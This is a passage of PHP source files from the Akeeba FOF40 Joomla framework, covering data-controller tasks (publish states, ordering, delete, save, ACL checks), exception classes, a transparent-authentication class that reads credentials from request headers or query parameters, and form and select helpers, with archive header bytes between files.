Unpublish (set enabled = 0) an item. * * @return void * @throws Exception */ public function unpublish(): void { // CSRF prevention $this->csrfProtection(); $model = $this->getModel()->savestate(false); $ids = $this->getIDsFromRequest($model, false); $error = null; try { $status = true; foreach ($ids as $id) { $model->find($id); $userId = $this->container->platform->getUser()->id; if ($model->isLocked($userId)) { $model->checkIn($userId); } $model->unpublish(); } } catch (Exception $e) { $status = false; $error = $e->getMessage(); } // Redirect if (($customURL = $this->input->getBase64('returnurl', '') ?? '') !== '') { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); if (!$status) { $this->setRedirect($url, $error, 'error'); } else { $this->setRedirect($url); } } /** * Archive (set enabled = 2) an item. * * @return void * @throws Exception */ public function archive(): void { // CSRF prevention $this->csrfProtection(); $model = $this->getModel()->savestate(false); $ids = $this->getIDsFromRequest($model, false); $error = null; try { $status = true; foreach ($ids as $id) { $model->find($id); $userId = $this->container->platform->getUser()->id; if ($model->isLocked($userId)) { $model->checkIn($userId); } $model->archive(); } } catch (Exception $e) { $status = false; $error = $e->getMessage(); } // Redirect if (($customURL = $this->input->getBase64('returnurl', '') ?? '') !== '') { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); if (!$status) { $this->setRedirect($url, $error, 'error'); } else { $this->setRedirect($url); } } /** * Trash (set enabled = -2) an item. * * @return void * @throws Exception */ public function trash(): void { // CSRF prevention $this->csrfProtection(); $model = $this->getModel()->savestate(false); $ids = $this->getIDsFromRequest($model, false); $error = null; try { $status = true; foreach ($ids as $id) { $model->find($id); $userId = $this->container->platform->getUser()->id; if ($model->isLocked($userId)) { $model->checkIn($userId); } $model->trash(); } } catch (Exception $e) { $status = false; $error = $e->getMessage(); } // Redirect if (($customURL = $this->input->getBase64('returnurl', '') ?? '') !== '') { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); if (!$status) { $this->setRedirect($url, $error, 'error'); } else { $this->setRedirect($url); } } /** * Check in (unlock) items * * @return void * @throws Exception */ public function checkin(): void { // CSRF prevention $this->csrfProtection(); $model = $this->getModel()->savestate(false); $ids = $this->getIDsFromRequest($model, false); $error = null; try { $status = true; foreach ($ids as $id) { $model->find($id); $model->checkIn(); } } catch (Exception $e) { $status = false; $error = $e->getMessage(); } // Redirect if (($customURL = $this->input->getBase64('returnurl', '') ?? '') !== '') { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); if (!$status) { $this->setRedirect($url, $error, 'error'); } else { $this->setRedirect($url); } } /** * Saves the order of the items * * @return void * @throws Exception */ public function saveorder(): void { // CSRF prevention $this->csrfProtection(); $type = null; $msg = null; $model = $this->getModel()->savestate(false); $ids = $this->getIDsFromRequest($model, false); $orders = $this->input->get('order', [], 'array'); // Before saving the order, I have to check I the table really supports the ordering feature if (!$model->hasField('ordering')) { $msg = sprintf('%s does not support ordering.', $model->getTableName()); $type = 'error'; } else { $ordering = $model->getFieldAlias('ordering'); // Several methods could throw exceptions, so let's wrap everything in a try-catch try { if (($n = count($ids)) !== 0) { for ($i = 0; $i < $n; $i++) { $item = $model->find($ids[$i]); $neworder = (int) $orders[$i]; if (!($item instanceof DataModel)) { continue; } if ($item->getId() == $ids[$i]) { $item->$ordering = $neworder; $userId = $this->container->platform->getUser()->id; if ($model->isLocked($userId)) { $model->checkIn($userId); } $model->save($item); } } } $model->reorder(); } catch (Exception $e) { $msg = $e->getMessage(); $type = 'error'; } } // Redirect if (($customURL = $this->input->getBase64('returnurl', '') ?? '') !== '') { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); $this->setRedirect($url, $msg, $type); } /** * Moves selected items one position down the ordering list * * @return void * @throws Exception */ public function orderdown(): void { // CSRF prevention $this->csrfProtection(); $model = $this->getModel()->savestate(false); if (!$model->getId()) { $this->getIDsFromRequest($model); } $error = null; try { $userId = $this->container->platform->getUser()->id; if ($model->isLocked($userId)) { $model->checkIn($userId); } $model->move(1); $status = true; } catch (Exception $e) { $status = false; $error = $e->getMessage(); } // Redirect if (($customURL = $this->input->getBase64('returnurl', '') ?? '') !== '') { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); if (!$status) { $this->setRedirect($url, $error, 'error'); } else { $this->setRedirect($url); } } /** * Moves selected items one position up the ordering list * * @return void * @throws Exception */ public function orderup(): void { // CSRF prevention $this->csrfProtection(); $model = $this->getModel()->savestate(false); if (!$model->getId()) { $this->getIDsFromRequest($model); } $error = null; try { $userId = $this->container->platform->getUser()->id; if ($model->isLocked($userId)) { $model->checkIn($userId); } $model->move(-1); $status = true; } catch (Exception $e) { $status = false; $error = $e->getMessage(); } // Redirect if (($customURL = $this->input->getBase64('returnurl', '') ?? '') !== '') { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); if (!$status) { $this->setRedirect($url, $error, 'error'); } else { $this->setRedirect($url); } } /** * Delete or trash selected item(s). The model's softDelete flag determines if the items should be trashed (enabled * state changed to -2) or deleted (completely removed from database) * * @return void */ public function remove(): void { $this->deleteOrTrash(); } /** * Deletes the selected item(s). Unlike remove() this method will force delete the record (completely removed from * database) * * @return void */ public function forceRemove(): void { $this->deleteOrTrash(true); } /** * Returns a named Model object. Makes sure that the Model is a database-aware model, throwing an exception * otherwise, when $name is null. * * @param string $name The Model name. If null we'll use the modelName * variable or, if it's empty, the same name as * the Controller * @param array $config Configuration parameters to the Model. If skipped * we will use $this->config * * @return DataModel The instance of the Model known to this Controller * * @throws NotADataModel When the model type doesn't match our expectations */ public function getModel(?string $name = null, array $config = []) { $model = parent::getModel($name, $config); if (is_null($name) && !($model instanceof DataModel)) { throw new NotADataModel('Model ' . get_class($model) . ' is not a database-aware Model'); } return $model; } /** * Gets the list of IDs from the request data * * @param DataModel $model The model where the record will be loaded * @param bool $loadRecord When true, the record matching the *first* ID found will be loaded into $model * * @return int[] */ public function getIDsFromRequest(DataModel &$model, bool $loadRecord = true): array { // Get the ID or list of IDs from the request or the configuration $cid = $this->input->get('cid', [], 'array'); $id = $this->input->getInt('id', 0); $kid = $this->input->getInt($model->getIdFieldName(), 0); $ids = []; if (is_array($cid) && !empty($cid)) { $ids = $cid; } elseif (empty($id)) { if (!empty($kid)) { $ids = [$kid]; } } else { $ids = [$id]; } if ($loadRecord && !empty($ids)) { $id = reset($ids); $model->find(['id' => $id]); } return $ids; } /** * Method to load a row from version history * * @return boolean True if the content history is reverted, false otherwise * * @since 2.2 */ public function loadhistory(): bool { $model = $this->getModel(); $model->lock(); $historyId = $this->input->get('version_id', null, 'integer'); $alias = $this->container->componentName . '.' . $this->view; $returnUrl = 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); if (($customURL = $this->input->getBase64('returnurl', '') ?? '') !== '') { $customURL = base64_decode($customURL); } if (!empty($customURL)) { $returnUrl = $customURL; } try { $model->loadhistory($historyId, $alias); } catch (Exception $e) { $this->setRedirect($returnUrl, $e->getMessage(), 'error'); $model->unlock(); return false; } // Access check. if (!$this->checkACL('@loadhistory')) { $this->setRedirect($returnUrl, Text::_('JLIB_APPLICATION_ERROR_EDIT_NOT_PERMITTED'), 'error'); $model->unlock(); return false; } $model->store(); $this->setRedirect($returnUrl, Text::sprintf('JLIB_APPLICATION_SUCCESS_LOAD_HISTORY', $model->getState('save_date'), $model->getState('version_note'))); return true; } /** * Gets a URL suffix with the Itemid parameter. If it's not the front-end of the site, or if * there is no Itemid set it returns an empty string. * * @return string The &Itemid=123 URL suffix, or an empty string if Itemid is not applicable */ public function getItemidURLSuffix(): string { if ($this->container->platform->isFrontend() && ($this->input->getCmd('Itemid', 0) != 0)) { return '&Itemid=' . $this->input->getInt('Itemid', 0); } else { return ''; } } /** * Deal with JSON format: no redirects needed * * @param string $task The task being executed * * @return bool True if everything went well * * @throws Exception */ protected function onAfterExecute(string $task): bool { // JSON shouldn't have redirects if ($this->hasRedirect() && $this->input->getCmd('format', 'html') == 'json') { // Error: deal with it in REST api way if ($this->messageType == 'error') { $response = new JsonResponse($this->message, $this->message, true); echo $response; $this->redirect = false; $this->container->platform->setHeader('Status', 500); return true; } // Not an error, avoid redirect and display the record(s) $this->redirect = false; $this->display(); return true; } return true; } /** * Determines the CRUD task to use based on the view name and HTTP verb used in the request. * * @return string The CRUD task (browse, read, edit, delete) */ protected function getCrudTask(): string { // By default, a plural view means 'browse' and a singular view means 'edit' $view = $this->input->getCmd('view', null); $task = $this->container->inflector->isPlural($view) ? 'browse' : 'edit'; // If the task is 'edit' but there's no logged in user switch to a 'read' task if (($task == 'edit') && !$this->container->platform->getUser()->id) { $task = 'read'; } // Check if there is an id passed in the request $id = $this->input->get('id', null, 'int'); if ($id == 0) { $ids = $this->input->get('ids', [], 'array'); if (!empty($ids)) { $id = array_shift($ids); } } // Get the request HTTP verb $requestMethod = 'GET'; if (isset($_SERVER['REQUEST_METHOD'])) { $requestMethod = strtoupper($_SERVER['REQUEST_METHOD']); } // Alter the task based on the verb switch ($requestMethod) { // POST and PUT result in a record being saved; no ID means creating a new record case 'POST': case 'PUT': $task = 'save'; break; // DELETE results in a record being deleted, as long as there is an ID case 'DELETE': if ($id) { $task = 'remove'; } break; // GET results in browse, edit or add depending on the ID case 'GET': default: // If it's an edit without an ID or ID=0, it's really an add if (($task == 'edit') && ($id == 0)) { $task = 'add'; } break; } return $task; } /** * Checks if the current user has enough privileges for the requested ACL area. This overridden method supports * asset tracking as well. * * @param string $area The ACL area, e.g. core.manage * * @return boolean True if the user has the ACL privilege specified */ protected function checkACL(string $area): bool { $area = $this->getACLRuleFor($area); $result = parent::checkACL($area); // First, check if there is an asset for this record /** @var DataModel $model */ $model = $this->getModel(); $ids = null; if (is_object($model) && ($model instanceof DataModel) && $model->isAssetsTracked()) { $ids = $this->getIDsFromRequest($model, false); } // No IDs tracked, return parent's result if (empty($ids)) { return $result; } // Asset tracking if (!is_array($ids)) { $ids = [$ids]; } $resource = $this->container->inflector->singularize($this->view); $isEditState = ($area == 'core.edit.state'); foreach ($ids as $id) { $asset = $this->container->componentName . '.' . $resource . '.' . $id; // Dedicated permission found, check it! $platform = $this->container->platform; if ($platform->authorise($area, $asset)) { return true; } // Fallback on edit.own, if not edit.state. First test if the permission is available. $editOwn = $this->getACLRuleFor('@*editown'); if ((!$isEditState) && ($platform->authorise($editOwn, $asset))) { $model->load($id); if (!$model->hasField('created_by')) { return false; } // Now test the owner is the user. $owner_id = (int) $model->getFieldValue('created_by', null); // If the owner matches 'me' then do the test. return $owner_id === $platform->getUser()->id; } } // No result found? Not authorised. return false; } /** * Automatically decides whether to trash or delete a record based in the $forceDelete parameter * * @param bool $forceDelete Should I delete the record? If false, the record will be trashed instead. * * @throws Exception */ protected function deleteOrTrash(bool $forceDelete = false): void { // CSRF prevention $this->csrfProtection(); $model = $this->getModel()->savestate(false); $ids = $this->getIDsFromRequest($model, false); $error = null; try { $status = true; foreach ($ids as $id) { $model->find($id); $userId = $this->container->platform->getUser()->id; if ($model->isLocked($userId)) { $model->checkIn($userId); } if ($forceDelete) { $model->forceDelete(); } else { $model->delete(); } } } catch (Exception $e) { $status = false; $error = $e->getMessage(); } // Redirect if (($customURL = $this->input->getBase64('returnurl', '') ?? '') !== '') { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); if (!$status) { $this->setRedirect($url, $error, 'error'); } else { $textKey = strtoupper($this->container->componentName . '_LBL_' . $this->container->inflector->singularize($this->view) . '_DELETED'); $this->setRedirect($url, Text::_($textKey)); } } /** * Common method to handle apply and save tasks * * @return bool True on success */ protected function applySave(): bool { // Load the model $model = $this->getModel()->savestate(false); if (!$model->getId()) { $this->getIDsFromRequest($model); } $userId = $this->container->platform->getUser()->id; $id = $model->getId(); $data = $this->input->getData(); if ($model->isLocked($userId)) { try { $model->checkIn($userId); } catch (LockedRecord $e) { // Redirect to the display task if (($customURL = $this->input->getBase64('returnurl', '') ?? '') !== '') { $customURL = base64_decode($customURL); } $eventName = 'onAfterApplySaveError'; $result = $this->triggerEvent($eventName, [&$data, $id, $e]); $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); $this->setRedirect($url, $e->getMessage(), 'error'); return false; } } // Set the layout to form, if it's not set in the URL if (is_null($this->layout)) { $this->layout = 'form'; } // Save the data $status = true; $error = null; try { $eventName = 'onBeforeApplySave'; $this->triggerEvent($eventName, [&$data]); if ($id != 0) { // Try to check-in the record if it's not a new one $model->unlock(); } // Save the data $model->save($data); $eventName = 'onAfterApplySave'; $this->triggerEvent($eventName, [&$data, $model->getId()]); $this->input->set('id', $model->getId()); } catch (Exception $e) { $status = false; $error = $e->getMessage(); $eventName = 'onAfterApplySaveError'; $result = $this->triggerEvent($eventName, [&$data, $model->getId(), $e]); } if (!$status) { // Cache the item data in the session. We may need to reuse them if the save fails. $itemData = $model->getData(); $sessionKey = $this->viewName . '.savedata'; $this->container->platform->setSessionVar($sessionKey, $itemData, $this->container->componentName); // Redirect on error $id = $model->getId(); if (($customURL = $this->input->getBase64('returnurl', '') ?? '') !== '') { $customURL = base64_decode($customURL); } if (!empty($customURL)) { $url = $customURL; } elseif ($id != 0) { $url = 'index.php?option=' . $this->container->componentName . '&view=' . $this->view . '&task=edit&id=' . $id . $this->getItemidURLSuffix(); } else { $url = 'index.php?option=' . $this->container->componentName . '&view=' . $this->view . '&task=add' . $this->getItemidURLSuffix(); } $this->setRedirect($url, $error, 'error'); } else { $sessionKey = $this->viewName . '.savedata'; $this->container->platform->setSessionVar($sessionKey, null, $this->container->componentName); } return $status; } /** * Gets the applicable ACL privilege for the apply and save tasks. The value returned is: * - @add if the record's ID is empty / record doesn't exist * - True if the ACL privilege of the edit task (@edit) is allowed * - @editown if the owner of the record (field user_id, userid or user) is the same as the logged in user * - False if the record is not owned by the logged in user and the user doesn't have the @edit privilege * * @return bool|string */ protected function getACLForApplySave() { $model = $this->getModel(); if (!$model->getId()) { $this->getIDsFromRequest($model); } $id = $model->getId(); if (!$id) { return '@add'; } if ($this->checkACL('@edit')) { return true; } $user = $this->container->platform->getUser(); $uid = 0; if ($model->hasField('user_id')) { $uid = $model->getFieldValue('user_id'); } elseif ($model->hasField('userid')) { $uid = $model->getFieldValue('userid'); } elseif ($model->hasField('user')) { $uid = $model->getFieldValue('user'); } if (!empty($uid) && !$user->guest && ($user->id == $uid)) { return '@editown'; } return false; } } PK���\����+fof40/Controller/Exception/TaskNotFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Controller\Exception; defined('_JEXEC') || die; use InvalidArgumentException; /** * Exception thrown when we can't find a suitable method to handle the requested task */ class TaskNotFound extends InvalidArgumentException { } PK���\�2���+fof40/Controller/Exception/LockedRecord.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Controller\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use RuntimeException; /** * Exception thrown when the provided Model is locked for writing by another user */ class LockedRecord extends RuntimeException { public function __construct(string $message = "", int $code = 403, Exception $previous = null) { if (empty($message)) { $message = Text::_('LIB_FOF40_CONTROLLER_ERR_LOCKED'); } parent::__construct($message, $code, $previous); } } PK���\���\��+fof40/Controller/Exception/NotADataView.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Controller\Exception; defined('_JEXEC') || die; use InvalidArgumentException; /** * Exception thrown when the provided View does not implement DataViewInterface */ class NotADataView extends InvalidArgumentException { } PK���\���a��+fof40/Controller/Exception/ItemNotFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Controller\Exception; defined('_JEXEC') || die; use RuntimeException; /** * Exception thrown when we can't find the requested item in a read task */ class ItemNotFound extends RuntimeException { } PK���\E�![vv,fof40/Controller/Exception/CannotGetName.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Controller\Exception; defined('_JEXEC') || die; use RuntimeException; /** * Exception thrown when we can't get a Controller's name */ class CannotGetName extends RuntimeException { } PK���\݄�ы�,fof40/Controller/Exception/NotADataModel.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Controller\Exception; defined('_JEXEC') || die; use InvalidArgumentException; /** * Exception thrown when the provided Model is not a DataModel */ class NotADataModel extends InvalidArgumentException { } PK���\A��6 5 5=fof40/TransparentAuthentication/TransparentAuthentication.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\TransparentAuthentication; defined('_JEXEC') || die; use FOF40\Container\Container; use FOF40\Encrypt\Aes; use FOF40\Encrypt\Totp; use Joomla\CMS\Language\Text; /** * Retrieves the values for transparent authentication from the request */ class TransparentAuthentication { /** Use HTTP Basic Authentication with time-based one time passwords */ const Auth_HTTPBasicAuth_TOTP = 1; /** Use Query String Parameter authentication with time-based one time passwords */ const Auth_QueryString_TOTP = 2; /** Use HTTP Basic Authentication with plain text username and password */ const Auth_HTTPBasicAuth_Plaintext = 3; /** Use single query string parameter authentication with JSON-encoded, plain text username and password */ const Auth_QueryString_Plaintext = 4; /** Use two query string parameters for plain text username and password authentication */ const Auth_SplitQueryString_Plaintext = 5; /** @var int The time step for TOTP authentication */ protected $timeStep = 6; /** @var string The TOTP secret key */ protected $totpKey = ''; /** @var array Enabled authentication methods, see the class constants */ protected $authenticationMethods = [3, 4, 5]; /** @var string The username required for the Auth_HTTPBasicAuth_TOTP method */ protected $basicAuthUsername = '_fof_auth'; /** @var string The query parameter for the Auth_QueryString_Plaintext method */ protected $queryParam = '_fofauthentication'; /** @var string The query parameter for the username in the Auth_SplitQueryString_Plaintext method */ protected $queryParamUsername = '_fofusername'; /** @var string The query parameter for the password in the Auth_SplitQueryString_Plaintext method */ protected $queryParamPassword = '_fofpassword'; /** @var bool Should I log out the user after the dispatcher exits? */ protected $logoutOnExit = true; /** @var Container The container we are attached to */ protected $container; /** @var string Internal variable */ private $cryptoKey = ''; /** * Public constructor. * * The optional $config array can contain the following values (corresponding to the same-named properties of this * class): timeStep, totpKey, cryptoKey, basicAuthUsername, queryParam, queryParamUsername, queryParamPassword, * logoutOnExit. See the property descriptions for more information. * * @param \FOF40\Container\Container $container * @param array $config */ function __construct(Container $container, array $config = []) { $this->container = $container; // Initialise from the $config array $knownKeys = [ 'timeStep', 'totpKey', 'cryptoKey', 'basicAuthUsername', 'queryParam', 'queryParamUsername', 'queryParamPassword', 'logoutOnExit', ]; foreach ($knownKeys as $key) { if (isset($config[$key])) { $this->$key = $config[$key]; } } if (isset($config['authenticationMethods'])) { $this->authenticationMethods = $this->parseAuthenticationMethods($config['authenticationMethods']); } } /** * Get the enabled authentication methods * * @return int[] * * @codeCoverageIgnore */ public function getAuthenticationMethods(): array { return $this->authenticationMethods; } /** * Set the enabled authentication methods * * @param int[] $authenticationMethods * * @codeCoverageIgnore */ public function setAuthenticationMethods(array $authenticationMethods): void { $this->authenticationMethods = []; foreach ($authenticationMethods as $method) { $this->addAuthenticationMethod($method); } } /** * Enable an authentication method * * @param integer $method */ public function addAuthenticationMethod(int $method): void { $validMethods = [ self::Auth_HTTPBasicAuth_Plaintext, self::Auth_HTTPBasicAuth_TOTP, self::Auth_QueryString_Plaintext, self::Auth_QueryString_TOTP, self::Auth_SplitQueryString_Plaintext, ]; if (!in_array($method, $validMethods)) { throw new \InvalidArgumentException(Text::sprintf('LIB_FOF40_TRANSPARENTAUTHENTICATION_INVALIDAUTHMETHOD', $method)); } if (!in_array($method, $this->authenticationMethods)) { $this->authenticationMethods[] = $method; } } /** * Disable an authentication method * * @param integer $method */ public function removeAuthenticationMethod(int $method): void { if (in_array($method, $this->authenticationMethods)) { $key = array_search($method, $this->authenticationMethods); unset($this->authenticationMethods[$key]); } } /** * Get the required username for the HTTP Basic Authentication with TOTP method * * @return string * * @codeCoverageIgnore */ public function getBasicAuthUsername(): string { return $this->basicAuthUsername; } /** * Set the required username for the HTTP Basic Authentication with TOTP method * * @param string $basicAuthUsername * * @codeCoverageIgnore */ public function setBasicAuthUsername(string $basicAuthUsername): void { $this->basicAuthUsername = $basicAuthUsername; } /** * Get the query parameter for the Auth_QueryString_TOTP method * * @return string * * @codeCoverageIgnore */ public function getQueryParam(): string { return $this->queryParam; } /** * Set the query parameter for the Auth_QueryString_TOTP method * * @param string $queryParam * * @codeCoverageIgnore */ public function setQueryParam(string $queryParam): void { $this->queryParam = $queryParam; } /** * Get the query string for the password in the Auth_SplitQueryString_Plaintext method * * @return string * * @codeCoverageIgnore */ public function getQueryParamPassword(): string { return $this->queryParamPassword; } /** * Set the query string for the password in the Auth_SplitQueryString_Plaintext method * * @param string $queryParamPassword * * @codeCoverageIgnore */ public function setQueryParamPassword(string $queryParamPassword): void { $this->queryParamPassword = $queryParamPassword; } /** * Get the query string for the username in the Auth_SplitQueryString_Plaintext method * * @return string * * @codeCoverageIgnore */ public function getQueryParamUsername(): string { return $this->queryParamUsername; } /** * Set the query string for the username in the Auth_SplitQueryString_Plaintext method * * @param string $queryParamUsername * * @codeCoverageIgnore */ public function setQueryParamUsername(string $queryParamUsername): void { $this->queryParamUsername = $queryParamUsername; } /** * Get the time step in seconds for the TOTP in the Auth_HTTPBasicAuth_TOTP method * * @return int * * @codeCoverageIgnore */ public function getTimeStep(): int { return $this->timeStep; } /** * Set the time step in seconds for the TOTP in the Auth_HTTPBasicAuth_TOTP method * * @param int $timeStep * * @codeCoverageIgnore */ public function setTimeStep(int $timeStep): void { $this->timeStep = $timeStep; } /** * Get the secret key for the TOTP in the Auth_HTTPBasicAuth_TOTP method * * @return string * * @codeCoverageIgnore */ public function getTotpKey(): string { return $this->totpKey; } /** * Set the secret key for the TOTP in the Auth_HTTPBasicAuth_TOTP method * * @param string $totpKey * * @codeCoverageIgnore */ public function setTotpKey(string $totpKey): void { $this->totpKey = $totpKey; } /** * Should I log out when the dispatcher finishes? * * @return boolean * * @codeCoverageIgnore */ public function getLogoutOnExit(): bool { return $this->logoutOnExit; } /** * Set the log out on exit flag (for testing) * * @param boolean $logoutOnExit * * @codeCoverageIgnore */ public function setLogoutOnExit(bool $logoutOnExit): void { $this->logoutOnExit = $logoutOnExit; } /** * Tries to get the transparent authentication credentials from the request * * @return array|null */ public function getTransparentAuthenticationCredentials(): ?array { $return = null; // Always run onFOFGetTransparentAuthenticationCredentials. These methods take precedence over anything else. $this->container->platform->importPlugin('user'); $this->container->platform->importPlugin('fof'); $pluginResults = $this->container->platform->runPlugins('onFOFGetTransparentAuthenticationCredentials', [$this->container]); foreach ($pluginResults as $result) { if (empty($result)) { continue; } if (is_array($result)) { return $result; } } // Make sure there are enabled transparent authentication methods if (empty($this->authenticationMethods)) { return $return; } $input = $this->container->input; foreach ($this->authenticationMethods as $method) { switch ($method) { case self::Auth_HTTPBasicAuth_TOTP: if (empty($this->totpKey)) { continue 2; } if (empty($this->basicAuthUsername)) { continue 2; } if (!isset($_SERVER['PHP_AUTH_USER'])) { continue 2; } if (!isset($_SERVER['PHP_AUTH_PW'])) { continue 2; } if ($_SERVER['PHP_AUTH_USER'] != $this->basicAuthUsername) { continue 2; } $encryptedData = $_SERVER['PHP_AUTH_PW']; return $this->decryptWithTOTP($encryptedData); case self::Auth_QueryString_TOTP: if (empty($this->queryParam)) { continue 2; } $encryptedData = $input->get($this->queryParam, '', 'raw'); if (empty($encryptedData)) { continue 2; } $return = $this->decryptWithTOTP($encryptedData); if (!is_null($return)) { return $return; } break; case self::Auth_HTTPBasicAuth_Plaintext: if (!isset($_SERVER['PHP_AUTH_USER'])) { continue 2; } if (!isset($_SERVER['PHP_AUTH_PW'])) { continue 2; } return [ 'username' => $_SERVER['PHP_AUTH_USER'], 'password' => $_SERVER['PHP_AUTH_PW'], ]; case self::Auth_QueryString_Plaintext: if (empty($this->queryParam)) { continue 2; } $jsonEncoded = $input->get($this->queryParam, '', 'raw'); if (empty($jsonEncoded)) { continue 2; } $authInfo = json_decode($jsonEncoded, true); if (!is_array($authInfo)) { continue 2; } if (!array_key_exists('username', $authInfo) || !array_key_exists('password', $authInfo)) { continue 2; } return $authInfo; case self::Auth_SplitQueryString_Plaintext: if (empty($this->queryParamUsername)) { continue 2; } if (empty($this->queryParamPassword)) { continue 2; } $username = $input->get($this->queryParamUsername, '', 'raw'); $password = $input->get($this->queryParamPassword, '', 'raw'); if (empty($username)) { continue 2; } if (empty($password)) { continue 2; } return [ 'username' => $username, 'password' => $password, ]; } } return $return; } /** * Parses a list of transparent authentication methods (array or comma separated list of integers or method names) * and converts it into an array of integers this class understands. * * @param string|int[]|string[] $methods * * @return int[] */ protected function parseAuthenticationMethods($methods): array { if (empty($methods)) { return []; } if (!is_array($methods)) { $methods = explode(',', $methods); } $return = []; foreach ($methods as $method) { if (empty($method)) { continue; } $method = trim($method); if ((int) $method == $method) { $return[] = (int) $method; } switch ($method) { case 'HTTPBasicAuth_TOTP': $return[] = 1; break; case 'QueryString_TOTP': $return[] = 2; break; case 'HTTPBasicAuth_Plaintext': $return[] = 3; break; case 'QueryString_Plaintext': $return[] = 4; break; case 'SplitQueryString_Plaintext': $return[] = 5; } } return $return; } /** * Decrypts a transparent authentication message using a TOTP * * @param string $encryptedData The encrypted data * * @return array|null The decrypted data */ private function decryptWithTOTP(string $encryptedData): ?array { if (empty($this->totpKey)) { $this->cryptoKey = null; return null; } $totp = new Totp($this->timeStep); $period = $totp->getPeriod(); $period--; for ($i = 0; $i <= 2; $i++) { $time = ($period + $i) * $this->timeStep; $otp = $totp->getCode($this->totpKey, $time); $this->cryptoKey = hash('sha256', $this->totpKey . $otp); $aes = new Aes(); $aes->setPassword($this->cryptoKey); try { $ret = $aes->decryptString($encryptedData); } catch (\Exception $e) { continue; } $ret = rtrim($ret, "\000"); $ret = json_decode($ret, true); if (!is_array($ret)) { continue; } if (!array_key_exists('username', $ret)) { continue; } if (!array_key_exists('password', $ret)) { continue; } // Successful decryption! return $ret; } // Obviously if we're here we could not decrypt anything. Bail out. $this->cryptoKey = null; return null; } } PK���\�@pBhh fof40/Html/Fields/fancyradio.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ defined('_JEXEC') || die(); use Joomla\CMS\Form\FormHelper; // Prevent PHP fatal errors if this somehow gets accidentally loaded multiple times if (class_exists('JFormFieldFancyradio')) { return; } // Load the base form field class FormHelper::loadFieldClass('radio'); /** * Yes/No switcher, compatible with Joomla 3 and 4 * * ## How to use * * 1. Create a folder in your project for custom Joomla form fields, e.g. components/com_example/fields * 2. Create a new file called `fancyradio.php` with the content * ```php * defined('_JEXEC') || die(); * require_once JPATH_LIBRARIES . '/fof40/Html/Fields/fancyradio.php'; * ``` * * @package Joomla\CMS\Form\Field * * @since 1.0.0 * @noinspection PhpUnused * @noinspection PhpIllegalPsrClassPathInspection */ class JFormFieldFancyradio extends JFormFieldRadio { public function __construct($form = null) { if (version_compare(JVERSION, '3.999.999', 'gt')) { // Joomla 4.0 and later. $this->layout = 'joomla.form.field.radio.switcher'; } else { // Joomla 3.x. Yes, 3.10 does have the layout but I am playing it safe. $this->layout = 'joomla.form.field.radio'; } parent::__construct($form); } }PK���\��e��{�{fof40/Html/FEFHelper/select.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ defined('_JEXEC') || die; use FOF40\Utils\ArrayHelper; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; /** * Custom JHtml (HTMLHelper) class. Offers selects compatible with Akeeba Frontend Framework (FEF) * * Call these methods as HTMLHelper::_('FEFHelp.select.methodName', $parameter1, $parameter2, ...) * * @noinspection PhpIllegalPsrClassPathInspection */ abstract class FEFHelpSelect { /** * Default values for options. Organized by option group. * * @var array */ protected static $optionDefaults = [ 'option' => [ 'option.attr' => null, 'option.disable' => 'disable', 'option.id' => null, 'option.key' => 'value', 'option.key.toHtml' => true, 'option.label' => null, 'option.label.toHtml' => true, 'option.text' => 'text', 'option.text.toHtml' => true, 'option.class' => 